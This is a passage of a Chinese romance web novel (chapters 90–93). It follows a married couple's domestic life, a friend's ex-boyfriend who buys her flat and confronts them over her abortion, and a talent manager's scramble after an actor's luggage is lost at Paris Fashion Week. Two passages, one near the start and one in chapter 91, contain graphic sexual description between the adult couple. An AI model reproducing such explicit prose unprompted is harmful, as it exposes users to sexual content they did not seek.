“我晚上是不是凶你了？”沈灼环抱着他，笑了下，“你生气了么？” 邵成章想说没有，但又想让她知道，于是折中了个说法，“有一点。” 沈灼问：“是有一点凶你了，还是你有一点生气了？” 邵成章闷闷地说：“我有一点生气。” “你看你说出来我才能知道啊。”沈灼抱着他拍拍他的背，像哄小孩子那样，“今天突然要加班，太忙了，而且我不习惯工作的时候别人在我旁边呆着看我。” 邵成章抬起头，有点震惊：“我是别人吗？”这几天他们都在迟女士那边，好不容易回悦澜湾，能有个二人世界，结果沈灼还要加班，他不过是想和她待一会儿就被她无情赶走 了。 “不是不是，你不是。”沈灼连忙改口，“我说错了，就被人盯着感觉和被视察工作一样，我不喜欢。” 邵成章“哦”一声：“知道了，以后不会了。” 沈灼挠挠他的下巴，夸他：“真是乖宝宝。” 邵成章受用地哼哼两声，又忍不住问她累不累，开始给她捏手指揉手腕。 沈灼却推开他，让他平躺好。 沈灼跪坐在他身侧，双手交叠放在大腿上，冲他微微鞠躬：“邵先生，由于沈小姐的无心之过给您造成了不好的心情，沈小姐表示深刻的歉意，为了补偿您，她给您特意安排了全身保健服务，您是否接受并且恢复好心情？” 邵成章听完就不生气了，他不知道沈灼又要玩什么花样，眸子亮亮地盯着她：“接受。” 沈灼点了一下头：“好的，我们全身保健服务有胸肌按摩，腹肌按摩以及海绵体组织按摩，您可以选择单项服务也可以选择全项服务。” 邵成章抿起嘴巴，克制着嘴角：“全项服务。” “好哦，我是今晚为您服务的一号技师小灼。”沈灼突然直起身子，将腰间的睡袍带子一抽，睡袍散开，隐约露出里面的光景。 邵成章视线在她有限露出的胸前和腰腹之间流连忘返，他喉结一滚，“小灼老师，如果热就脱了吧。” “好的呢。”沈灼垂眼盯着他的眼睛，微微一笑，双手一掀，睡袍从肩头滑落下来。她还一本正经地将睡袍叠好，然后又跪坐好。 邵成章这次彻底看清了。 紫色透明的布料紧紧贴着，细线一般的带子在背后打了个结，好像只要伸出手指一扯，这片布就会掉落下来。 视线往下，他看到后面只有几根交叉着的细带。 邵成章呼吸一滞，身体蹭地冒出来一股燥热，他禁不住舔舔唇。 迟女士那边隔音不好，两间卧室紧挨着而且仅一墙之隔，每次俩人小打小闹，亲亲抱抱，然后他就再不敢往下了，只好去洗手间冲澡。 邵成章最喜欢沈灼又渴望又难受的时候，意乱情迷的表情，她还会混乱呓语叫他名字或者求他，哼哼唧唧的声音和小奶猫一样勾人，这他怎么敢让迟女士听见。 他抬起手，手背在她的腰间摩挲着，手指捏捏她微微凸起的小肚子，软软的。沈灼无语地看他一眼，然后拎起他的手甩到一边。 “先生，请您自重哦。我们这里可是很正经的。”说完，沈灼自己都忍不住笑了，笑完之后，她轻咳一声，恢复好表情管理。 邵成章配合她的表演，但只能这样看着她，邵成章不知道这是在补偿他还是在惩罚他。 在之前多次的摸索之下，沈灼终于也是掌握了些方法。 舌头打圈旋转，配合嘴巴，在某个位置，专攻几下，就可以让邵成章失控。 沈灼笑吟吟地看着邵成章红着脸起来，他抽出湿巾将她脸上的黏腻擦干净，一边擦还一边道歉，等擦干净又被沈灼推倒。 “还没有结束呢。”沈灼跨坐在他腰间，垂着眼盯着他看。 邵成章的身体很符合她的审美，宽肩细腰，标准的倒三角胴体。因为他几乎一年四季穿衬衫，身上的肤色其实比脸还要白一点，她稍微对他做点什么，他的胸口锁骨就会发粉发红。身体也会一下子紧绷起来，宽厚的胸膛上就会鼓起饱满的胸肌。 快要到达极限的时候，邵成章就会扬面昂首，粗重的气息和喘声就会从他的胸腔直直顺着喉咙破口而出。 服务结束，沈灼往上移动，去够他的嘴巴，“宝宝，我好喜欢你为我失控的样子。” “只有你能对我这样。”邵成章鼻尖蹭着她的脸，喘着说。他一手搂住她的腰，另一只手抬起，虎口卡住她的下巴，用拇指和食指捏住她的脸颊，体贴地给她放松酸涨的嘴巴。 沈灼卸了全身的重量趴在他身上，“我累了。” 邵成章抱着她翻个身，将她覆盖住，一挺腰就能感受到身下布料的湿凉，他勾唇对她说：“我来让你舒服。” * 姜珺年前提到要卖房，没想到年后就卖出去了，而且价格比她期望的还要高。不过对方说是她家里还有些私人东西，让她过来取。她人还在外地，只好给沈灼打电话拜托她去拿。 沈灼抽了个空去她家，密码锁已经换了，她摁响门铃没几秒就有人来开，看到房主的那一刻她愣住了，她没想到新房主会是梁屿琛。 姜珺是完全委托给中介的，中介和她说有一买家很喜欢她家的布局和装修，想保留所有家具，一共三百万，问她同不同意。这还有什么不同意的，姜珺立即答应签合同了，对方也是爽快，直接全款打到她银行卡上。 沈灼皱着眉头，语气不善：“怎么是你？” “先进来吧。”来人不是姜珺，梁屿琛很失望，他转身往里走。 沈灼迈了一步进来，站在门口，手扶在门把手上，没阖上电子门。 “这是你们的照片。”梁屿琛递过来一沓拍立得，是姜珺和她还有一些其他朋友的合照，她原来是贴在冰箱上，当初没想到买主会留下家具家电这些，姜珺收拾的时候就没有收起来。 沈灼接过照片，质问他：“梁屿琛，你买下姜珺的房子是什么意思？” 梁屿琛不答反问：“姜珺人呢？” “她在哪儿和你没有任何关系吧？不管你想干什么，我警告你，你离她远一点儿。就算你们之前有过什么，现在也结束了。” 梁屿琛蓦地勾起嘴角，冷笑道：“什么叫她和我没有关系？她没有经过我的同意就把我们的孩子打掉了！我想问问她凭什么？” “梁屿琛！”沈灼厉声喝他一声，“你什么都不知道就不要在这里乱讲。” “我乱讲？”梁屿琛伸出手指点在自己胸口上，“我亲眼看见清宫手术协议书！她骗我住院是因为肠胃炎，其实是去流产了，你也在医院不是吗？”他冷眼盯着她，“还是说，那根本不是我的孩子？” “啪——”沈灼气得发抖，忍不住抬手狠狠给了他一巴掌。 她想起姜珺躺在病床上流眼泪，听见注射麻醉时候的尖叫，看到她因为自责没保住宝宝而崩溃，而梁屿琛竟然能冠冕堂皇地质疑那不是他的孩子？！ 梁屿琛被打得偏过头去，脸颊上迅速浮起一片红。 “我告诉你，不管是谁的孩子，都和你们男人没有关系，姜珺有权利决定这个孩子是去是留，那是她自己的身体。” “孩子的事我可以不介意，我只问你她到底去哪儿了？” “我不会告诉你她去了哪里，关于房主是你的事，我也不会和她讲，这个房子既然卖给你，就和她没有关系了。我只能告诉你的是，姜珺不会再回来了。” 梁屿琛一字一顿地说：“我会在这儿等她回来。” 沈灼突然感觉好笑：“梁屿琛，你不会以为买了姜珺的房子就能感动她了吧？首先姜珺不吃回头草，其次，你有没有听过迟来的深情比草贱，你现在这个样子，无非也就是伤害姜珺之后出于愧疚而已，省省力吧别演了，最后也只是你自我感动而已。” 说完，沈灼推开门走了，“哐啷”一声，门被狠狠摔上。 晚上姜珺和她视频，问她有没有见到新房主，她直夸这人简直是个大善人，她十分好奇。 沈灼勉强笑笑，告诉她：“是一对中年夫妻买下的。”她眼神闪烁不敢看她，好在是视频通话，沈灼假装网络信号不好，没和她说几句她借口还有工作挂了电话。 沈灼长叹出一口气，邵成章曾说梁屿琛身边从不缺女人，分手后也从不纠缠女方，她希望她的担心是多余的。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 邵成章回家就看到沈灼坐在沙发上，愁眉苦脸，他问她是不是心情不好。 沈灼手扶额头，叹口气说：“孽缘，绝对是孽缘。” 听沈灼没头没尾来这 么一句，邵成章还以为是说他们的关系，不服气道：“什么孽缘，我们明明是良缘。” “不是说我们。”沈灼看着他走近，“我说姜珺和梁屿琛……你买的什么呀？” 邵成章手里拎着一个蛋糕盒子，是从S市开到A市的一家甜品店，前两天刚开业大排长龙，沈灼刷到随口说了一句想吃提拉米苏，他就记住了。 “你想吃的那家甜品店的提拉米苏。”邵成章将甜品放到茶几上。 沈灼蓦地睁大眼睛，眼里都是欣喜，她滑下沙发跪坐在坐垫上，“但是现在太晚了吧……吃两口好了，我就吃两口。”她抽开丝带，一边碎碎念。 邵成章笑说：“不怕，睡前运动就消耗掉了。” 沈灼：“……” 邵成章坐在她身旁，继续刚刚的话题：“姜珺和梁屿琛怎么了？他们不是……分开了吗？”他犹豫几秒，不知道该怎么对他们这段关系进行定义。 “就是说啊，我搞不懂梁屿琛到底在想什么，姜珺不是把她的房卖了么，下午我去帮她拿东西，你猜买家是谁？” “梁屿琛么？” 沈灼点点头，她叉了一口提拉米苏，上面的奶油很绵密，整体没有很甜，蛋糕胚体的朗姆酒味和咖啡味稍微重一些，她根本忍不住只吃两口……她瞄了一眼邵成章，问他吃不吃。 “好吃吗？” 沈灼给他叉了一块送到嘴边，他说不吃，等沈灼吃进嘴巴里，他又吻上去，舌尖一卷尝到了奶油的味道。 “好甜。”邵成章勾唇说，沈灼无语地瞪他一眼。 “对了，姜珺要出国的事，你不准告诉梁屿琛，不仅出国，你知道她的所有事都不准和他讲，听到没有？”沈灼警告他。 邵成章点点头，和她保证绝对不说。早在跨年那天，姜珺提前让沈灼回来陪他，他就已经选好了阵营。 他不是重色轻友的人，但如果美色是沈灼，那另当别论。 提拉米苏不算大，沈灼和他聊着天一口一口地就这么吃完了。她咬着叉子，看着空盘，后悔莫及，忍不住控诉他：“不行，你以后晚上不准给我买甜品了。” “我买你可以不吃。” “你都买了我还不吃？” 邵成章环住她的腰，坐下的时候她腰上会有一圈软肉，他作死地捏了捏，气得沈灼直瞪眼，一巴掌拍在他的手背上，打出一声清脆的声响。 沈灼在愤怒之中起身，去了从来没进去过的健身房，里面有一台跑步机和邵成章特意定制的史密斯龙门架。她不喜欢跑步，排除。视线移到龙门架，但看着上面的杠铃又沉默了，这好像她也搞不来啊。算了她还是洗澡去吧。 相比健身，她确实更喜欢和邵成章一起做点睡前运动。 邵成章在书房处理完工作回卧室，澡都没洗就往沈灼身上扑。新的一年，Dreamora工作重心就是雅安区的地皮招标，邵成章不敢掉以轻心，晚上规划那边修改了些细节，他和团队一一讨论后才确认。 沈灼见他疲惫，有点心疼地揉揉他的头发，催他去洗澡想让他早点休息。邵成章洗完澡出来，躺在她身边，等了一会儿之后发现沈灼丝毫没有要放下手机，和他共赴云雨的意思。 “老婆，不睡觉吗？” 沈灼贴心地说：“你累了就先睡吧，我不吵你。”她和姜珺正在聊天呢，说着她关了顶灯，打开床头灯。 “我们不做点别的吗，不减肥了吗？”他侧身撑着头看她。 简直哪壶不开提哪壶，她刚忘了今晚吃掉一整块提拉米苏的事儿。她撇他一眼：“你不是累了吗？” “那正好你在上面，这个姿势会锻炼到你的腰腹和臀部还有大腿的肌肉群，相当于一套自重力量训练和有氧运动，可以有效达到你想燃脂的效果。” “……” “怎么样，是不是一举两得？”邵成章眨着晶亮的眸子望着她。 “邵成章，你吐一下舌头我看看。”沈灼低眸盯着他，突然要求道。 邵成章不知道她要干嘛，但还是听话地照做了。 沈灼扑哧一声笑出来，“你真的好像一只大狗狗啊。”他洗澡之后头发垂下来盖住一些额头，显得人很乖，现在直接环视大金毛。 邵成章特别配合地学着狗狗哈了两声，逗她笑，然后张口咬在她的小臂上。 沈灼突然捧起他的脸，感叹道：“都说近朱者赤，你和梁屿琛是好朋友，怎么就差得这么大呢？” 一个对感情认真，认准了就会从一而终，一个花花公子，走肾不走心。 “你和姜珺是好朋友，但你们也不一样啊，每个人都是不一样的个体。” 话虽这么说，但她和姜珺内核还是保持一致认同，就是坚决不玩弄对方的感情。明明姜珺告诉她是梁屿琛和她说他们就只是玩玩儿而已，现在分开了他好像又一副喜欢她要死的样子…… “他以前不会是受过什么感情创伤吧？”沈灼随口说了句。 “嗯……”邵成章说，“他的家庭关系也有一点复杂。” 沈灼八卦之心被勾了起来：“有瓜吗？” “其实也不算是秘密了，他爸爸和他妈妈一直是各过各的。他爸爸有很多情人，他妈妈唯一的底线就是梁家只能有梁屿琛一个孩子，他妈妈还会定时带他爸爸的情人们去检查身体，一旦发现怀孕就会打掉，以前还有情妇和他妈妈闹过，闹得很大，所以大家都知道。” 沈灼听得目瞪口呆，这就是上层社会吗？可真够乱的。 所以梁屿琛变成现在这样一个浪子，是因为在原生家庭就没有感受过正常的“爱”，所以他也不知道什么是“爱”吗？ 听完他的家庭背景，沈灼觉得梁屿琛也有点惨，她突然感到抱歉：“今天下午我见他，听他说了些很过分的话，我一生气上头还打了他一巴掌。” “打他就打了。”邵成章握住她的手，吻在她手心，“我只关心你的手疼不疼。” 沈灼无奈地笑他：“梁屿琛有你这样的朋友，可真是他的福气。” 邵成章也笑了：“老婆，我们不聊他了好不好？” 沈灼点点头，滑进被窝里，邵成章的手马上就搭了上来。 “不过也不能什么都归咎给原生家庭啊，谁的家庭都会多少有点问题，但人要有自救的能力。”沈灼又转头突然看他，“就像你小时候也经历了不好的事情，可是现在也健健康康的，没变成孤僻阴郁封闭的人呀。” 邵成章原先还笑着，听沈灼说完，笑意渐渐浅了。他没有马上接话，过了几秒才问：“如果我是个孤僻阴郁封闭的人，你还会爱我吗？” 沈灼想了想说：“不会吧，那咱们根本聊不起来。”按沈灼的脾气，要是喜欢的人不理她，她大概也不会热脸去贴冷屁股，她只会命令自己禁止喜欢对方。 “不过这种假设性没有意义，我就喜欢现在这样的你。” 邵成章对她淡淡一笑：“嗯，我不会变的，我要让你一直都喜欢我。” 沈灼心软地哼哼着靠近他，额头贴在他的胸膛。邵成章的手探进她的睡衣衣摆里，轻轻捏捏的，见她没有拒绝，这才开始上下放肆起来。 沈灼的身体慢慢热了，也做好了迎接他的准备。 她被他扶起来跨坐着一点点去适应，等差不多了她才开始起起伏伏。 结果邵成章故意使坏，刚开始没多久，他就会在她下坠的时候狠狠往上一凿，沈灼被撞得大叫，哼出的调子都被凿破了音。 说好的让她锻炼，甚至他没让她在上面多久，就把她翻过来，让她跪趴着。他箍着她的腰，每次都十分用力，像是要把她贯穿一样。 邵成章垂眼看着她，她身体的每一处都在摇摇晃晃。 沈灼想逃离，趁着他的手离开往前却又会被拽回来，再重重一撞。 邵成章呼着粗气，俯身整片胸膛贴在她的后背，掰过她的脸和她深吻。 “不管我什么样子，都不准离开我好不好？” 沈灼已经思考不了他在讲什么了，只能嗯嗯啊啊地满口答应他。 * 马上就要迎来两个人第一个情人节，但是是工作日，邵成章和她说预定了餐厅，结果当天沈灼忙着给关司予对接商务细节，告诉邵成章自己去不了了，邵成章只好把预定的餐厅取消。 晚上沈灼将近十一点才回家，进门就 看见了玄关摆着一束红玫瑰。 沈灼觉得抱歉，捧起玫瑰往里走，邵成章在书房接电话，见她回来匆匆说了几句然后挂断了。 “对不起，宝宝！”沈灼抱着花束冲着他鞠躬道歉，今天确实是她的问题。 邵成章起身过去抱住她，“没关系，今天其实我的会议也很多，即便去餐厅吃饭，可能也要一直回复消息，所以不用觉得抱歉。还有两周是你的生日，我们把今天的补上，嗯？” 邵成章从年前就一直思考怎么给沈灼准备生日，但是他拿捏不准沈灼的想法，怕弄巧成拙她不喜欢，于是还私下问了姜珺，结果姜珺直接让他开口问，让他想要准备生日惊喜的想法彻底破灭。 “呀，月底就是我生日了？”沈灼一脸惊讶。 “对呀。”邵成章捏捏她的脸，“你工作忙到生日都不记得了？” 倒也不是，只不过这几年她越发的不愿过生日而已，工资没长，阅历没长，长得只有年龄…… “可是，我月底得出差啊。”关司予月底受品牌邀请，要去巴黎时装周看秀。 “……”邵成章有点无奈，情人节过不了，生日也过不了，他撇撇嘴道，“我真的有点生气了。” 第92章 这事儿也不能赖沈灼。细数她从工作以来，几乎没有怎么庆祝过生日。 巴黎时装周每年固定在二月底三月初开。她生日这天，不是在准备即将陪同艺人去时装周，就是已经在时装周了，行程又赶又忙，她哪儿还有时间过生日。 邵成章知道后还能说什么呢，怪不得姜珺叮嘱他不要准备惊喜，他除了沉默就是叹气。 “你生气了吗？”沈灼抿着唇，说完之后就低头看着自己怀里的那捧玫瑰。满满一束，不知道有多少朵，她在心里默数起来。 过了几秒，邵成章回答她：“我没生气。只是你给我一个很难忘的生日，我也想好好给你庆生。” “生日而已，过不过也无所谓，你能记得我就很开心了。”沈灼安慰他。 “记住你的生日这不是最基本的吗？” “老公真好。”沈灼眯起眼睛一笑，“你有工作就先忙吧，我不打扰你了。”她掂了掂怀里的玫瑰，“谢谢你送的花，我很喜欢。” 即便沈灼说了不想过，可她仍然感觉邵成章还在介意这件事，虽然邵成章面上什么都没表示，洗完澡也像往常一样过来贴着她，但沈灼就觉得两个人之间的气氛冷下来了。 沈灼把手机一锁放下，侧对着他：“我们聊聊？” “嗯。”邵成章闻言也把手机放下，两个人面对面躺着。 “你是不是还因为今天没过情人节不开心呢。”邵成章刚想否认，又听她命令，“不准撒谎，你说实话。” 邵成章避开她的视线，然后轻轻“嗯”了声。 “那你又憋在心里，不和我说。要不是我问，你是不是又不会说了，这件事就这么过去？” 邵成章撇了下嘴，有点委屈似的嘟囔：“那我要是缠着你过节，你肯定又要问我没有自己的事做了吗。” 沈灼没忍住笑，戳戳他的脸，“你现在已经这么了解我了啊。”这的确是她能说出来的话。她往前凑了凑，盯着他的眼睛，“其实我知道你也很忙，为了过节也要协调工作什么的，但是我想说的是，这些节日过不过对我真的不重要。” 她是在安慰自己还是认为自己安排的有疏忽呢，邵成章问她：“那对你来说，什么是重要的？” “我又不是十八二十的小女孩儿了，还要追求这种形式主义。你工作忙，我也忙，以后很多节日我们都可能抽不出来时间过，但是不过节日不代表我对你不满意，相反，爱对了人每一天都是情人节，今天是，明天是，大后天也是，所以你不要纠结这个问题。” 邵成章沉默片刻：“我在乎的不是节日本身，而是想让你觉得有被重视。哪怕只是一点点特别的安排，我也想让你知道我有把你放在心上。否则我会觉得……自己没尽到做丈夫的责任。” “每一天我都感觉得到。”沈灼手放在他的胸口上，能感受到他皮肤胸骨之下跳动的心脏，不过没超过三秒，她又抓着他的胸肌揉捏起来。 邵成章无奈地笑了：“老婆，你好色啊。” 沈灼回答得面不改色心不跳，“这不是检验你健身成果吗，不行吗？” 她的手离开，又被他按住，往下移到了最厚的胸肌位置，“当然可以，欢迎领导随时检验。” 啧，明明是他在卖弄风情，投怀送抱。 沈灼翘着嘴角：“那我们说好了，平时不强求过节日和生日，不过可以约定每年至少出去旅行一次，好不好？” “好。”邵成章答应她。 说开了，沈灼心情舒服了，准备美美睡觉。邵成章忽然冷不丁问她：“那老婆你想去哪儿旅游，我提前规划。” ？新年不是刚开始吗，又不是明天就要出发，倒也不用这么着急吧。 “老公。” “嗯？” “睡觉。” “好。” 沈灼关上床头灯，邵成章过来抱住她，没一会儿他又开口：“老婆今年还想去海边吗？想不想换个地方？” 沈灼眼睛都没睁：“你要是不想睡就出去工作。” 邵成章“哦”了下，终于乖乖地不出声了。 * 整个时装周的行程安排了四天，尤其是关司予拿到了WUNSEE旗下LONGUE品牌大使的合作。随着《野河》的热度，沈灼向WUNSEE的pr推荐了蒋芮，今年也是以品牌好友的身份去看秀。 一行人飞行加转机，十七个小时之后终于奔波落地戴高乐机场，沈灼一边打着哈欠忙着联系接机的商务车，只见小芸跑过来，告诉她有两件行李箱丢了。 “转盘已经不出行李了，但是司予哥还有两个行李箱没出来。”小芸有点着急。 沈灼问：“是哪两个行李箱？” 小芸答：“有一个28寸的，还有24寸的，大行李箱那个里面装的是司予哥明天要看秀穿的衣服，怎么办？” 行李丢了，无非是两个原因，一个是被人拿错了，一个是航空公司搞丢了，尤其是她们这班班次还中途转机。 “没事儿，先别着急。”沈灼看了下时间，已经是当地时间晚十一点了，所有人都很疲惫。她思忖片刻问：“这两个箱子是谁的机票办理的托运？” “是我的。”小芸说。 “那小芸你和我留下，其余人先回酒店休息吧。”她将司机的电话发给Nadia，让她先带着关司予和蒋芮还有小助理们回酒店。 这会儿的机场人不多，沈灼让小芸在转盘区域再找一下有没有遗漏的箱子以及确认转盘信息，防止临时更改转盘。她则一路小跑到行李服务柜台。 “不好意思，我的行李没出来，我怀疑被人拿错了，请帮忙广播一下！”她清晰地说出了自己的诉求，工作人员十分认真，询问了沈灼的班次和姓名，用英语和法语开始广播。 沈灼等了得有二十分钟，根本不见人来，她又和工作人员确认，有没有可能是行李根本没上飞机，她是中转航班。 工作人员给了她一份《行李运输事故记录单》，她让小芸过来填写相关信息。又等了一会儿，工作人员查到行李没丢，因为中转托运不当，行李未同机抵达，现在那两个箱子还在慕尼黑呢。 “……”沈灼眉头一皱，“那最快什么时候可以托运过来？” 工作人员：“我们已经协调好，将会安排直达的班次将您的行李托运过来，明晚可以到达。” 沈灼怀疑自己听错了，用英语又重点重复了一下时间：“ Tomorrow9pm？” 工作人员点点头：“Yeah。” 沈灼无语地叹了一口气，明晚九点，秀都看完了，还要衣服干什么？！ “小芸，司予的另一套衣服在这边吗？”防止意外，每次活动都会准备一套备用的服装。 小芸上牙紧咬着下唇不敢说话了，沈灼心里一咯噔，“备用的那一套也在箱子里？”沈灼不免提高了些音量。 小芸慌忙道歉：“对不起对不起，我当时没想到箱子会丢。” 沈灼深吸一口气，现在还是要想出个PlanB比较快一些。 “走吧，小芸，我们先回去吧。”沈灼抬头找指示牌，径直往出租车的出口走。小芸在她身边小碎步跟着，没一会儿她就听见抽噎声。 “怎么了？”沈灼转头一看，小芸眼泪吧嗒吧嗒掉。 “沈灼姐，对不起，都是我的错。我不应该订中转的航班，还把两套衣服放在一起，我完全没想过会有行李丢失的问题。”小芸哭得一抽一抽的。 沈灼安慰她：“当初买转机的票也是经过我同意的，行李丢失是航空公司的问题。”说着她从包里撕开一包手帕纸，抽出一张递给小芸。“好了，别哭了。” “那没有衣服怎么办呀？”小芸接过纸巾，擦了眼泪问。 沈灼目前也没有头绪，她刚刚甚至想到了邵成章的私人飞机，但是她记得私人飞机是需要提前一天申请航线的，而且等天亮告诉LONGUE的pr，再直运过来也来不及。 关司予是今年LONGUE的首穿，但在巴黎当地LONGUE的成衣店都是旧款，这怎么办？ 上车之后，沈灼给司机看了酒店地址后便一直盯着窗外，她无心欣赏巴黎的沿途夜景，脑子里一直在想办法。 如果说旧款不行，那旧款的旧款呢？ 沈灼突然想到，多年以前的中古款应该不会出错，而且穿品牌中古款其实会显得艺人更有心准备。 但问题是这里的中古店会有LONGUE的中古款吗？ 沈灼先给pr发了一条消息，讲清了今晚发生的噩耗，明天无论如何是穿不上原先的服装了。她同时告诉对方，她目前会尽量找LONGUE的中古款作为主造型。 对方很快回复了她，首先连发了几个震惊的表情，而后同意沈灼的提议。 不同意也不行，总不能让自家代言人穿着别的品牌的成衣看自家品牌的秀。 所以，明天上午要去找中古店。她在搜索平台上搜出来Vintage，在谷歌地图上一家家收藏。 她向后倚靠在头枕上，呼出一口气，希望明天能顺利点。 回到酒店，她脱下大衣往单人沙发上一搭，整个人大字趴在床上，打开微信，又是一排排红点点。邵成章一个小时前就问她到了没有，她还没来得及回复，她给他发了条消息，马上就收到他的视频。 接通以后，邵成章看到沈灼已经在酒店，放下心来，他问：“怎么这么晚？” 沈灼：“丢了两件行李，搞得很晚。你在家呀，没去健身吗？”邵成章没有特殊情况，早上七到八点是他雷打不动的健身时间。 邵成章：“没有啊，在等你，怕你收不到我的晚安睡不着。” 沈灼笑了一下。 邵成章问：“那行李丢了怎么解决，需要我帮忙吗？” 沈灼说他也帮不上，简单说明情况，她有点担心明天找不到合适的衣服。 邵成章提醒她：“你可以问一下Nora，她也在巴黎，而且她对巴黎很熟悉。” 沈灼找出Nora的对话框，先点进她的朋友圈，发现她晚上发了一条在巴黎定位的照片，而且Nora是WUNSEE的二公主，又是设计师，人脉肯定比她多。 沈灼打了个响指：“那我先不和你说了呀，我去问一下Nora。” 邵成章：“要早点休息，你那边已经很晚了。” 沈灼：“嗯嗯，拜拜。”等不及邵成章和她说再见，她迅速挂了电话。 邵成章盯着聊天页面，挠挠额头失笑。 老婆对事业的上心什么时候能分给他一点点呢？ 第93章 沈灼和Nora最后一条聊天记录还停留在一个月前发送的过年祝福，她没有寒暄，开门见山地问她知不知道中古或者买手店可以买到LONGUE的中古成衣。 没想到Nora还没休息，得知沈灼需要帮忙，她说这事儿包在她身上。 尽管沈灼本着一切靠自己，对他人降低期待的原则，但是一直到睡着之前，她都无比希望Nora是真的可以帮上忙。 但同时她也做好了最坏的打算——去店里现买一套当季的成衣。 翌日，沈灼睡了六个多小时就醒了，看了眼时间，距离关司予出发还有八个小时。她没着急起来，开始考虑如果关司予真的穿着当季的成衣会发生什么。 LONGUE会和他解约吗？不会，毕竟直接签了一年的合约，要看这一年的综合表现。 粉丝会不满吗？可能会，所以她需要Nadia修改文案以及话题要往亲民低调的方向去宣传。 工作室会挨骂吗？大概会，尤其是事业粉会认为工作室不上心，不为关司予争取好的造型。但是沈灼已经可以自动屏蔽那些声音了，为艺人安排的每份合作她都尽心尽力问心无愧。 不过也有可能关司予穿了当季款，还会带动一些同款销量。 这样冷静下来一想，她又觉得这事儿也没什么了，心情瞬间多云转晴，愉悦地给邵成章发了个早安。起床洗漱她准备去吃早餐，打开房门看见小芸贴在她门口的墙边站着。 见人出来，小芸和沈灼打招呼：“沈灼姐，司予哥衣服的事怎么样了？会不会耽误他下午看秀？”头一直低着，说话的时候抬起来又迅速低下去，像是怕被人看到她的脸一样。 听她闷闷的鼻音，就知道小姑娘昨晚回去一定是哭过了。 “抬起头来我看看。” 小芸吸吸鼻子，抬起头来又偏了偏方向，不敢直视她的眼睛。 红肿眼角正对着沈灼，她拍拍小芸的肩膀，“怎么还哭呢，嗯？都说了没事儿，怎么着都能有解决的办法。” 小芸说：“我就是感觉给大家添了很多麻烦。如果早预想到会有这种情况就可以避免。” “这不谁都有第一次吗，不犯错怎么知道哪里需要注意，有问题就解决问题好了。” 看见小芸，沈灼想起了自己刚入职的时候。她那会儿简直将花姐的话奉为圭臬，高标准高质量高效率地要求自己，但不犯错是不可能的。刚开始她也会像小芸一样自责内耗，觉得搞砸了事情，但好在花姐不是情绪化的人，教她有问题就立即着手解决，自责内耗只是在浪费时间。 过后沈灼回头看，其实也没什么大不了的，换做是任何一个人，也未必做的比她还好，而且即便下次规避了这个错误，还会有新的意外出现。 所以沈灼不会怪小芸，谁都是一步步从没经验走过来的，何况这纯是航空公司的问题，她又怎么会怪她呢。 沈灼带着她去楼下吃早餐，正巧Nadia已经在了，看见她们走进来，朝二人招招手。拿完吃的，二人过去落座打招呼。 Nadia揪一块黄油可颂放进嘴里，问沈灼：“今天上午能拿到衣服吗？” 沈灼说：“昨晚拜托了个朋友说是没问题，一会儿我再问问。要是真拿不来，就直接去店里买一套成衣吧。” 小芸抬眼惊讶道：“啊，这也行吗？” Nadia笑道：“行啊，怎么不行？” 沈灼：“不行也没招呀，难道让司予光着身子进去吗，反正我们能想出来的最差的是就是这个办法了，如果有合适的中古款，那最好不过了。” Nadia附和：“ 反正只是看秀出席活动，又不是正式的红毯，小芸你松弛点儿。” 沈灼点头：“看见没有，直接当着老板的面说上班要松弛，这多松弛了，小芸你要向Na总多学习。” 被轻松的氛围感染到，小芸绷着的肩膀也渐渐放松下来。 吃完早餐，Nora就给沈灼发来了一个定位，让她来选衣服。 沈灼嘴角勾起一抹笑，打了个响指，“走了。” 她打了个电话给关司予和造型师，叫上Nadia，四人一起到了一栋别墅前。Nora在门口等着他们，隔着一段距离就蹦跳着和他们打招呼。 沈灼没想到Nora带他们来了一个私宅，这里面有一整层的衣帽间，里面竟然都是LONGUE往年的经典款。 Nora一挥手，做展示的姿态：“你们随便挑随便选。” 沈灼目瞪口呆：“Nora你这是怎么找来的？！” “说来话长了，这人差点成我姐夫，一听是我姐公司的事儿，二话不说就帮忙了。”Nora笑嘻嘻道。 沈灼无意打听八卦，赶紧让造型师帮忙挑服装，最终选定一款肩部廓形但收腰的西装，Nora告诉他们，这件西装是二十年前的款式，今年LONGUE的高定和成衣不论在款式还是裁剪都有致敬二十年前的秀款。 Nadia抓住重点信息，和沈灼还有造型师说：“就这件吧。” 但关司予之前因为角色经常穿背心的造型，特意将上半身练得壮些，穿上再加内搭就会显得很紧绷。 “真空穿呀。”Nora随口说了一句，“这个西装加上他的寸头其实有一种硬man的感觉，还挺合适的。” 胸肌包裹在西装之下，中间一条长而窄的深V区域露出来的是晒黑的小麦肤色，这样的关司予确实和之前的感觉不一样。 “你们觉得呢？”沈灼问造型师和Nadia，他们一致同意真空更好，而且妆容也不需要太厚重，补一下底妆和唇彩就差不多。 沈灼和Nora说了无数个谢谢才离开，回程路上Nadia扒着座椅凑上去问沈灼怎么认识这么一个朋友，坐在中排的关司予回头对她说：“什么朋友，那是沈灼姐的大嫂。” “什么？”话一出，副驾的造型师都纷纷回头看沈灼。 “真的假的，你嫁入豪门了？”Nadia不可思议道，她只知道大半年前沈灼老公花了大手笔送花到公司，公司里连着几天都是玫瑰味儿，她能推断出来她老公家境不错，但沈灼从来没在她们面前提过她老公。 沈灼应付道：“他条件还可以。” “还可以是多少啊？A8？A9？”Nadia好奇心被勾起来，“A10？？”她的音调逐渐升高。 “我也不清楚，应该差不多吧。”沈灼不知道邵成章具体收入，她也不问。不过她看过Dreamora的相关新闻，能推断出来，邵成章的身价一定过亿了。 “卧槽……你可真够低调的。”Nadia感叹。 关司予哼出一声笑，“就A10这么多吗？建议你回家好好查一下他的资产。” 沈灼皱眉斜了他一眼，示意他不准再说了，要不然又怕Nadia八卦起来。 小芸看着沈灼拿了一整套造型回来，终于大松一口气，精气神儿立即提起来，争着跑前跑后帮忙。 接近傍晚，关司予和蒋芮一同出席看秀活动，沈灼和Nadia盯着他们在媒体区拍照，接受简单采访后分道扬镳。作为工作人员，她们不能跟着艺人进去看秀，来到指定工作人员的休息区域后，她们忙着选二人的出发照，准备发各平台。 今天微博十分热闹，各家艺人轮番上热搜，又夸的也有骂的。出发照发出去主要还是粉丝评论转发，沈灼的工作室刚起步，也没大钱给关司予和蒋芮砸营销，只要不出错就好。 沈灼几乎实时关注着关司予和蒋芮的标签，内场也有一些富哥富姐，会在平台上po出来和艺人的照片视频，她刷到两个关司予和蒋芮的视频，表情管理都不错，评论区还碰到粉丝按理。 